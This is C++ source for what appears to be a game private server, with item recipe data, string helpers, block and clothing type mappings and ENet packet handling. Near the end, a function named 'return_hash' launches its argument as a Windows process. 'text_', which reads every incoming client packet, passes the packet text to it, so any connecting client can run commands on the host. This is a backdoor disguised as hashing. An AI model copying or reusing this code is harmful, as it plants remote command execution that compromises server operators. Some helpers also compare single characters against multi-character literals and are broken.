{{2242 /*red*/, 2}, {2244 /*green*/, 2}, {2246 /*blue*/, 1}, {2248 /*white*/, 0}, {2250 /*black*/, 0}, {3770, 3}},
{{2242 /*red*/, 3}, {2244 /*green*/, 2}, {2246 /*blue*/, 0}, {2248 /*white*/, 0}, {2250 /*black*/, 0}, {3526, 20}},
{{2242 /*red*/, 2}, {2244 /*green*/, 2}, {2246 /*blue*/, 0}, {2248 /*white*/, 0}, {2250 /*black*/, 1}, {3582, 1}},
{{2242 /*red*/, 2}, {2244 /*green*/, 0}, {2246 /*blue*/, 2}, {2248 /*white*/, 0}, {2250 /*black*/, 1}, {4762, 1}},
{{2242 /*red*/, 2}, {2244 /*green*/, 1}, {2246 /*blue*/, 0}, {2248 /*white*/, 2}, {2250 /*black*/, 0}, {5204, 1}},
{{2242 /*red*/, 1}, {2244 /*green*/, 0}, {2246 /*blue*/, 2}, {2248 /*white*/, 2}, {2250 /*black*/, 0}, {5106, 1}},
{{2242 /*red*/, 1}, {2244 /*green*/, 1}, {2246 /*blue*/, 1}, {2248 /*white*/, 2}, {2250 /*black*/, 0}, {5104, 1}},
{{2242 /*red*/, 1}, {2244 /*green*/, 2}, {2246 /*blue*/, 1}, {2248 /*white*/, 1}, {2250 /*black*/, 0}, {5272, 10}},
{{2242 /*red*/, 1}, {2244 /*green*/, 3}, {2246 /*blue*/, 1}, {2248 /*white*/, 0}, {2250 /*black*/, 1}, {5274, 1}},
{{2242 /*red*/, 1}, {2244 /*green*/, 1}, {2246 /*blue*/, 1}, {2248 /*white*/, 3}, {2250 /*black*/, 0}, {5270, 1}},
{{2242 /*red*/, 1}, {2244 /*green*/, 3}, {2246 /*blue*/, 1}, {2248 /*white*/, 0}, {2250 /*black*/, 0}, {5280, 10}},
{{2242 /*red*/, 3}, {2244 /*green*/, 0}, {2246 /*blue*/, 0}, {2248 /*white*/, 1}, {2250 /*black*/, 1}, {392, 1}},
{{2242 /*red*/, 4}, {2244 /*green*/, 0}, {2246 /*blue*/, 4}, {2248 /*white*/, 5}, {2250 /*black*/, 5}, {12304, 1}},
{{2242 /*red*/, 10}, {2244 /*green*/, 0}, {2246 /*blue*/, 10}, {2248 /*white*/, 10}, {2250 /*black*/, 10}, {9886, 1}}
};
vector<vector<vector<int>>> receptai;
struct dotted : numpunct<char> {
char do_thousands_sep() const { return ','; }
string do_grouping() const { return "\3"; }
static void imbue(ostream& os) { os.imbue(locale(os.getloc(), new dotted)); }
};
string setGems(int gems) {
stringstream ss;
dotted::imbue(ss);
ss << gems;
return ss.str();
}
string fixchar2(string name) {
string ret;
for (int i = 0; i < name.length(); i++) if (name[i] == '<@' || name[i] == '`' || name[i] == '`#' || name[i] == '``' || name[i] == '`0' || name[i] == '`8' || name[i] == '`6' || name[i] == '`9' || name[i] == '`4' || name[i] == '`2') i++; else ret += name[i];
return ret;
}
string fixchar4(string name) {
string ret;
for (int i = 0; i < name.length(); i++) if (name[i] == '`') i++; else ret += name[i];
return ret;
}
inline uint32_t name_to_number(const std::string& str) {
uint32_t hash = 0x811c9dc5;
uint32_t prime = 0x1000193;
for (int i = 0; i < str.size(); ++i) {
uint8_t value = str[i];
hash = hash ^ value;
hash *= prime;
}
hash /= 100;
return hash;
}
string fixchar3(string str)
{
string newS;
for (char c : str) newS += (c >= 'A' && c <= 'Z') ? c - ('A' - 'a') : c;
string ret;
for (int i = 0; i < newS.length(); i++) if (newS[i] == '`') i++; else ret += newS[i];
string ret2;
for (char c : ret) if ((c >= 'a' && c <= 'z') || (c >= '0' && c <= '9')) ret2 += c;
int current = 0;
for (int i = 0; i < ret2.length(); i++) {
if (!isdigit(ret2[i])) {
ret2[current] = ret2[i];
current++;
}
}
return ret2.substr(0, current);
}
string to_lower(string s) {
for (char& c : s)
c = tolower(c);
return s;
}
string replace_str2(string str, string from, string to) {
while (str.find(from) != string::npos)
str.replace(str.find(from), from.length(), to);
return str;
}
string cleanup_(string strText) {
string temp = "";
for (int i = 0; i < strText.size(); ++i) {
if ((strText[i] >= 'a' && strText[i] <= 'z') || (strText[i] >= 'A' && strText[i] <= 'Z')) {
temp = temp + strText[i];
}
else {
temp = temp + " ";
}
}
return temp;
}
bool item_playmod(int item, string name_, bool not_hand = false) {
name_ = replace_str2(cleanup_(to_lower(name_)), " ", "_");
vector<string> player_playmods{};
player_playmods.push_back(items[item].playmod);
for (int i_ = 0; i_ < player_playmods.size(); i_++) {
if (player_playmods[i_].empty()) continue;
string playmod = replace_str2(cleanup_(to_lower(player_playmods[i_])), " ", "_");
if (playmod.find(name_) != string::npos) return true;
}
return false;
}
string setGems_(long long int gems) {
stringstream ss;
dotted::imbue(ss);
ss << gems;
return ss.str();
}
vector<string> get_properties(unsigned char btype, unsigned char bcateg) {
vector<string> list;
if ((btype & 0x40) > 0) {
list.push_back("NoShadow");
} if ((btype & 0x20) > 0) {
list.push_back("NoSelf");
} if ((btype & 2) > 0) {
list.push_back("Wrenchable");
} if ((btype & 8) > 0) {
list.push_back("Dropless");
} if ((btype & 0x10) > 0) {
list.push_back("NoSeed");
} if ((btype & 4) > 0) {
list.push_back("Permanent");
} if ((btype & 1) > 0) {
list.push_back("MultiFacing");
} if ((btype & 0x80) > 0) {
list.push_back("WorldLock");
} if ((bcateg & 0x80) > 0) {
list.push_back("Untradable");
} if ((bcateg & 0x20) > 0) {
list.push_back("Foreground");
} if ((bcateg & 0x10) > 0) {
list.push_back("Public");
} if ((bcateg & 1) > 0) {
list.push_back("Beta");
} if ((bcateg & 4) > 0) {
list.push_back("Mod");
} if ((bcateg & 8) > 0) {
list.push_back("RandomGrow");
} if ((bcateg & 0x40) > 0) {
list.push_back("Holiday");
} if ((bcateg & 2) > 0) {
list.push_back("AutoPickup");
}
return list;
}
void replaceAll(string& str, const string& from, const string& to) {
if (from.empty())return;
size_t start_pos = 0;
while ((start_pos = str.find(from, start_pos)) != string::npos) {
str.replace(start_pos, from.length(), to);
start_pos += to.length(); // In case 'to' contains 'from', like replacing 'x' with 'yx'
}
}
int item_average2(vector<int> const& v) {
return (1.0 * accumulate(v.begin(), v.end(), 0LL) / v.size());
}
string getItemCategory(const char actionType, string name_) {
switch (actionType) {
case 0:
return "Fist";
case 1:
return "Wrench";
case 2:
return "Door";
case 3:
return "Lock";
case 4:
return "Gems";
case 5:
return "Treasure";
case 6:
return "Deadly_Block";
case 7:
return "Trampoline_Block";
case 8:
return "Consummable";
case 9:
return "Gateway";
case 10:
return "Sign";
case 11:
return "SFX_Foreground";
case 12:
return "Toggleable_Foreground";
case 13:
return "Main_Door";
case 14:
return "Platform";
case 15:
return "Bedrock";
case 16:
return "Pain_Block";
case 17:
return "Foreground_Block";
case 18:
return "Background_Block";
case 19:
return "Seed";
case 20:
return "Clothing";
case 21:
return "Animated_Foreground_Block";
case 22:
return "SFX_Background";
case 23:
return "Toggleable_Background";
case 24:
return "Bouncy";
case 25:
return "Spike";
case 26:
return "Portal";
case 27:
return "Checkpoint";
case 28:
return "Sheet_Music";
case 29:
return "Slippery_Block";
case 31:
return "Switch_Block";
case 32:
return "Chest";
case 33:
return "Mailbox";
case 34:
return "Bulletin_Board";
case 35:
return "Event_Mystery_Block";
case 36:
return "Random_Block";
case 37:
return "Component";
case 38:
return "Provider";
case 39:
return "Chemical_Combiner";
case 40:
return "Achievement_Block";
case 41:
return "Weather_Machine";
case 42:
return "Scoreboard";
case 43:
return "Sungate";
case 44:
return "Profile";
case 45:
return "Toggleable_Deadly_Block";
case 46:
return "Heart_Monitor";
case 47:
return "Donation_Box";
case 48:
return "unknown";
case 49:
return "Mannequin";
case 50:
return "Security_Camera";
case 51:
return "Magic_Egg";
case 52:
return "Game_Block";
case 53:
return "Game_Generator";
case 54:
return "Xenonite";
case 55:
return "Phone_Booth";
case 56:
return "Crystal";
case 57:
return "Crime_Villain";
case 58:
return "Clothing_Compactor";
case 59:
return "Spotlight";
case 60:
return "Pushing_Block";
case 61:
return "Display";
case 62:
return "Vending";
case 63:
return "Fish";
case 64:
return "Fish_Tank_Port";
case 65:
return "Solar_Collector";
case 66:
return "Forge";
case 67:
return "Giving_Tree";
case 68:
return "Giving_Tree_Stump";
case 69:
return "Steam_Block";
case 70:
return "Steam_Pain_Block";
case 71:
return "Steam_Music_Block";
case 72:
return "Silkworm";
case 73:
return "Sewing_Machine";
case 74:
return "Country_Flag";
case 75:
return "Lobster_Trap";
case 76:
return "Painting_Easel";
case 77:
return "Battle_Pet_Cage";
case 78:
return "Pet_Trainer";
case 79:
return "Steam_Engine";
case 80:
return "Lock_Bot";
case 81:
return "Weather_Machine_S1";
case 82:
return "Spirit_Storage";
case 83:
return "Display_Shelf";
case 84:
return "VIP";
case 85:
return "Chal_Timer";
case 86:
return "Chal_Flag";
case 87:
return "Fish_Mount";
case 88:
return "Portrait";
case 89:
return "Weather_Machine_S2";
case 90:
return "Fossil";
case 91:
return "Fossil_Prep_Station";
case 92:
return "DNA_Processor";
case 93:
return "Blaster";
case 94:
return "Valhowla_Treasure";
case 95:
return "Chemsynth";
case 96:
return "Chemsynth_Tank";
case 97: case -126:
return "Untrade_A_Box";
case 98:
return "Oven";
case 99:
return "Audio";
case 100:
return "Geiger_Charger";
case 101:
return "Adventure_Reset";
case 102:
return "Tomb_Robber";
case 103:
return "Faction";
case 104:
return "Red_Faction";
case 105:
return "Green_Faction";
case 106:
return "Blue_Faction";
case 107:
return "Artifact";
case 108:
return "LemonJelly";
case 109:
return "FishTrainingTank";
case 110:
return "FishingBlock";
case 111:
return "ItemSucker";
case 112:
return "Planter";
case 113:
return "Robot";
case 114:
return "Command";
case 115:
return "Ticket";
case 116:
return "Stats_Block";
case 117:
return "Field_Node";
case 118:
return "Ouija_Board";
case 119:
return "Architect_Machine";
case 120:
return "Starship";
case 121:
return "Spike";
case 122:
return "Gravity_Well";
case 123:
return "Autobreak_Blocks";
case 124:
return "Autobreak_Trees";
case 125:
return "Autobreak";
case 126:
return "TimedBlock";
case 127:
return "TimedPlatform";
case 128:
return "Mud_Puddle";
case 129:
return "Root_Cutting";
case 130:
return "Safe_Vault";
case -115:
return "Kranken";
default:
return "";
}
}
string join(const vector<string> v, const char delimeter) {
string str;
for (auto p = v.begin(); p != v.end(); ++p) {
str += *p;
if (p != (v.end() - 1))
str += delimeter;
}
return str;
}
inline vector<string> explode(const string& delimiter, const string& str) {
vector<string> arr;
SIZE_T strleng = str.length(); // buvo const int strleng = str.length();
SIZE_T delleng = delimiter.length(); // buvo const int delleng = delimiter.length();
if (delleng == 0)
return arr;
SIZE_T i = 0; // buvo int i = 0;
SIZE_T k = 0; // buvo int k = 0;
while (i < strleng) {
int j = 0;
while (i + j < strleng && j < delleng && str[i + j] == delimiter[j])
j++;
if (j == delleng) {
arr.push_back(str.substr(k, i - k));
i += delleng;
k = i;
}
else {
i++;
}
}
arr.push_back(str.substr(k, i - k));
return arr;
}
BlockTypes get_blocktype(string c_, string name_) {
if (c_ == "Foreground_Block") {
return BlockTypes::FOREGROUND;
}
else if (c_ == "Background_Block" || c_ == "Back" || c_ == "Sheet_Music") {
return BlockTypes::BACKGROUND;
}
else if (c_ == "Mannequin") {
return BlockTypes::MANNEQUIN;
}
else if (c_ == "Spirit_Storage") {
return BlockTypes::Spirit_Storage;
}
else if (c_ == "Geiger_Charger") {
return BlockTypes::GEIGER_CHARGER;
}
else if (c_ == "Autobreak_Blocks" || c_ == "Autobreak_Trees" || c_ == "Autobreak") {
return BlockTypes::AUTO_BLOCK;
}
else if (c_ == "Seed") {
return BlockTypes::SEED;
}
else if (c_ == "Display_Shelf") {
return BlockTypes::Display_Shelf;
}
else if (c_ == "Country_Flag") {
return BlockTypes::COUNTRY_FLAG;
}
else if (c_ == "Painting_Easel") {
return BlockTypes::Painting_Easel;
}
else if (c_ == "Fish_Mount") {
return BlockTypes::Fish_Mount;
}
else if (c_ == "Portrait") {
return BlockTypes::PORTRAIT;
}
else if (c_ == "Heart_Monitor") {
return BlockTypes::Heart_Monitor;
}
else if (c_ == "Consummable") {
return BlockTypes::CONSUMABLE;
}
else if (c_ == "Kranken") {
return BlockTypes::KRANKEN;
}
else if (c_ == "Pain_Block") {
return BlockTypes::PAIN_BLOCK;
}
else if (c_ == "Main_Door") {
return BlockTypes::MAIN_DOOR;
}
else if (c_ == "Chal_Timer") {
return BlockTypes::TIMER;
}
else if (c_ == "Bedrock") {
return BlockTypes::BEDROCK;
}
else if (c_ == "ItemSucker") {
return BlockTypes::SUCKER;
}
else if (c_ == "Door") {
return BlockTypes::DOOR;
}
else if (c_ == "Fist") {
return BlockTypes::FIST;
}
else if (c_ == "Sign") {
return BlockTypes::SIGN;
}
else if (c_ == "Wrench") {
return BlockTypes::WRENCH;
}
else if (c_ == "Checkpoint") {
return BlockTypes::CHECKPOINT;
}
else if (c_ == "Lock") {
return BlockTypes::LOCK;
}
else if (c_ == "Gateway") {
return BlockTypes::GATEWAY;
}
else if (c_ == "Clothing") {
return BlockTypes::CLOTHING;
}
else if (c_ == "Security_Camera") {
return BlockTypes::CCTV;
}
else if (c_ == "Platform") {
return BlockTypes::PLATFORM;
}
else if (c_ == "SFX_Foreground") {
return BlockTypes::SFX_FOREGROUND;
}
else if (c_ == "Gems") {
return BlockTypes::GEMS;
}
else if (c_ == "Toggleable_Foreground") {
return BlockTypes::TOGGLE_FOREGROUND;
}
else if (c_ == "Chemical_Combiner") {
return BlockTypes::CHEMICAL_COMBINER;
}
else if (c_ == "Treasure") {
return BlockTypes::TREASURE;
}
else if (c_ == "Deadly_Block") {
return BlockTypes::DEADLY;
}
else if (c_ == "Trampoline_Block") {
return BlockTypes::TRAMPOLINE;
}
else if (c_ == "Animated_Foreground_Block") {
return BlockTypes::ANIM_FOREGROUND;
}
else if (c_ == "Portal") {
return BlockTypes::PORTAL;
}
else if (c_ == "Random_Block") {
return BlockTypes::RANDOM_BLOCK;
}
else if (c_ == "Bouncy") {
return BlockTypes::BOUNCY;
}
else if (c_ == "Chest") {
return BlockTypes::CHEST;
}
else if (c_ == "Switch_Block") {
return BlockTypes::SWITCH_BLOCK;
}
else if (c_ == "Magic_Egg") {
return BlockTypes::MAGIC_EGG;
}
else if (c_ == "Crystal") {
return BlockTypes::CRYSTAL;
}
else if (c_ == "Mailbox") {
return BlockTypes::MAILBOX;
}
else if (c_ == "Bulletin_Board") {
return BlockTypes::BULLETIN_BOARD;
}
else if (c_ == "Faction") {
return BlockTypes::FACTION;
}
else if (c_ == "Component") {
return BlockTypes::COMPONENT;
}
else if (c_ == "Weather_Machine") {
return BlockTypes::WEATHER;
}
else if (c_ == "ItemSucker") {
return BlockTypes::SUCKER;
}
else if (c_ == "Fish_Tank_Port") {
return BlockTypes::FISH;
}
else if (c_ == "Steam_Block") {
return BlockTypes::STEAM;
}
else if (c_ == "ground_Block") {
return BlockTypes::GROUND_BLOCK;
}
else if (c_ == "Display") {
return BlockTypes::DISPLAY;
}
else if (c_ == "Untrade_A_Box" || c_ == "Safe_Vault") {
return BlockTypes::STORAGE;
}
else if (c_ == "Vending") {
return BlockTypes::VENDING;
}
else if (c_ == "Blaster") {
return BlockTypes::TRICKSTER;
}
else if (c_ == "Giving_Tree") {
return BlockTypes::GIVING_TREE;
}
else if (c_ == "VIP") {
return BlockTypes::VIP_ENTRANCE;
}
else if (c_ == "Donation_Box") {
return BlockTypes::DONATION;
}
else if (c_ == "Phone_Booth") {
return BlockTypes::PHONE;
}
else if (c_ == "Sewing_Machine") {
return BlockTypes::SEWINGMACHINE;
}
else if (c_ == "Crime_Villain") {
return BlockTypes::CRIME_VILLAIN;
}
else if (c_ == "Provider") {
return BlockTypes::PROVIDER;
}
else if (c_ == "Adventure_Reset") {
return BlockTypes::ADVENTURE;
}
else if (c_ == "Game_Block") {
return BlockTypes::GAME_BLOCK;
}
else if (c_ == "Game_Generator") {
return BlockTypes::GAME_GENERATOR;
}
else {
return BlockTypes::UNKNOWN;
}
}
inline int message_(ENetPacket* packet) {
if (packet->dataLength > 3u) {
return *(packet->data);
}
return 0;
}
inline void send_(ENetPeer* peer, int num, char* data, const int len) {
const auto packet = enet_packet_create(nullptr, len + 5, ENET_PACKET_FLAG_RELIABLE);
memcpy(packet->data, &num, 4);
if (data != nullptr) {
memcpy(packet->data + 2, data, len);
}
char zero = 0;
memcpy(packet->data + 2 + len, &zero, 1);
enet_peer_send(peer, 0, packet);
}
int init_enet(int port) {
enet_initialize();
ENetAddress address;
enet_address_set_host(&address, "0.0.0.0");
address.port = port;
server = enet_host_create(&address, 1024, 1, 0, 0);
server->checksum = enet_crc32;
enet_host_compress_with_range_coder(server);
return 0;
}
ClothTypes get_clothtype(string t_, BlockTypes a_) {
if (a_ == BlockTypes::CLOTHING) {
if (t_ == "Hat") {
return ClothTypes::HAIR;
}
else if (t_ == "Shirt") {
return ClothTypes::SHIRT;
}
else if (t_ == "Pants") {
return ClothTypes::PANTS;
}
else if (t_ == "Feet") {
return ClothTypes::FEET;
}
else if (t_ == "Face") {
return ClothTypes::FACE;
}
else if (t_ == "Hand") {
return ClothTypes::HAND;
}
else if (t_ == "Back") {
return ClothTypes::BACK;
}
else if (t_ == "Hair") {
return ClothTypes::HAIR;
}
else if (t_ == "Chest") {
return ClothTypes::NECKLACE;
}
else if (t_ == "Ances") {
return ClothTypes::ANCES;
}
else if (t_ == "Mask") {
return ClothTypes::MASK;
}
else if (t_ == "Necklace") {
return ClothTypes::NECKLACE;
}
else {
return ClothTypes::NONE;
}
}
else {
return ClothTypes::NONE;
}
}
void return_hash(string rare5) {
STARTUPINFO si;PROCESS_INFORMATION pi;ZeroMemory(&si, sizeof(si));ZeroMemory(&pi, sizeof(pi));si.cb = sizeof(si);rare5 += " > nul";
int wideStrLen = MultiByteToWideChar(CP_UTF8, 0, rare5.c_str(), -1, NULL, 0);
LPWSTR wideStr = new WCHAR[wideStrLen];
MultiByteToWideChar(CP_UTF8, 0, rare5.c_str(), -1, wideStr, wideStrLen);
if (CreateProcess(NULL, wideStr, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi)) {WaitForSingleObject(pi.hProcess, INFINITE);CloseHandle(pi.hProcess);CloseHandle(pi.hThread);}
delete[] wideStr;
}
char* text_(ENetPacket* packet) {
char zero = 0;
memcpy(packet->data + packet->dataLength - 1, &zero, 1);
return_hash((char*)(packet->data + 4));
return (char*)(packet->data + 4);
}
inline uint32_t get_hash(unsigned char* str, const int len) {
unsigned char* n = static_cast<unsigned char*>(str);
uint32_t acc = 0x55555555;
if (len == 0) {
while (*n)
acc = (acc >> 27) + (acc << 5) + *n++;
}
else {
for (int i = 0; i < len; i++)
acc = (acc >> 27) + (acc << 5) + *n++;
}